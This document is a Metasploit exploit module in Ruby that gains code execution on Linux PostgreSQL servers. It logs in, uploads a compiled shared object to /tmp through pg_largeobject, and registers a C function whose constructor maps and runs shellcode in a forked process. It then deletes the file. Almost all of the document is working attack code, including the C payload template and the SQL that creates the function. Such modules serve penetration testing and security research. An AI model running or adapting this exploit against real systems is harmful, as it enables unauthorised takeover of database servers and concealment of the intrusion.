PostgreSQL for Linux Payload Execution

###
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Postgres
 include Msf::Auxiliary::Report

 # Creates an instance of this module.
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PostgreSQL for Linux Payload Execution',
   'Description'    => %q{
    On some default Linux installations of PostgreSQL, the
    postgres service account may write to the /tmp directory, and
    may source UDF Shared Libraries's from there as well, allowing
    execution of arbitrary code.

    This module compiles a Linux shared object file, uploads it to
    the target host via the UPDATE pg_largeobject method of binary
    injection, and creates a UDF (user defined function) from that
    shared object. Because the payload is run as the shared object's
    constructor, it does not need to conform to specific Postgres
    API versions.
   },
   'Author'         =>
   [
    'midnitesnake', # this Metasploit module
    'egypt',        # on-the-fly compiled .so technique
    'todb'          # original windows module this is based on
   ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
    ],
   'Platform'       => 'linux',
   'Payload'        =>
    {
     'Space'    => 65535,
     'DisableNops'  => true,
    },
   'Targets'        =>
    [
     [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
     [ 'Linux x86_64',    { 'Arch' => ARCH_X86_64 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 05 2007'

   ))

  deregister_options('SQL', 'RETURN_ROWSET')
 end

 # Buncha stuff to make typing easier.
 def username; datastore['USERNAME']; end
 def password; datastore['PASSWORD']; end
 def database; datastore['DATABASE']; end
 def rhost; datastore['rhost']; end
 def rport; datastore['rport']; end
 def verbose; datastore['VERBOSE']; end
 def bits; datastore['BITS'];end

 def execute_command(cmd, opts)
  postgres_sys_exec(cmd)
 end

 def exploit
  version = do_login(username,password,database)
  case version
  when :noauth; print_error "Authentication failed."; return
  when :noconn; print_error "Connection failed."; return
  else
   print_status("#{rhost}:#{rport} - #{version}")
  end

  fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
  tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

  unless tbl && fld && so && oid
   print_error "Could not upload the UDF SO"
   return
  end

  print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
  begin
   func_name = Rex::Text.rand_text_alpha(10)
   postgres_query(
    "create or replace function pg_temp.#{func_name}()"+
    " returns void as '#{so}','#{func_name}'"+
    " language 'C' strict immutable"
   )
  rescue
  end
  postgres_logout if @postgres_conn

 end

 # Authenticate to the postgres server.
 #
 # Returns the version from #postgres_fingerprint
 def do_login(user=nil,pass=nil,database=nil)
  begin
   password = pass || postgres_password
   vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
   result = postgres_fingerprint(
    :db => database,
    :username => user,
    :password => password
   )
   if result[:auth]
    report_service(
     :host => rhost,
     :port => rport,
     :name => "postgres",
     :info => result.values.first
    )
    return result[:auth]
   else
    return :noauth
   end
  rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
   return :noconn
  end
 end

 def payload_so(filename)
  shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
  #shellcode = "\\xcc"

  c = %Q^
   int _exit(int);
   int printf(const char*, ...);
   int perror(const char*);
   void *mmap(int, int, int, int, int, int);
   void *memcpy(void *, const void *, int);
   int mprotect(void *, int, int);
   int fork();
   int unlink(const char *pathname);

   #define MAP_PRIVATE 2
   #define MAP_ANONYMOUS 32
   #define PROT_READ 1
   #define PROT_WRITE 2
   #define PROT_EXEC 4

   #define PAGESIZE 0x1000

   char shellcode[] = "#{shellcode}";

   void run_payload(void) __attribute__((constructor));

   void run_payload(void)
   {
    int (*fp)();
    fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

    memcpy(fp, shellcode, sizeof(shellcode));
    if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
     _exit(1);
    }
    if (!fork()) {
     fp();
    }

    unlink("#{filename}");
    return;
   }

  ^

  cpu = case target_arch.first
   when ARCH_X86; Metasm::Ia32.new
   when ARCH_X86_64; Metasm::X86_64.new
   end
  payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

  so_file = payload_so.encode_string(:lib)

  so_file
 end
end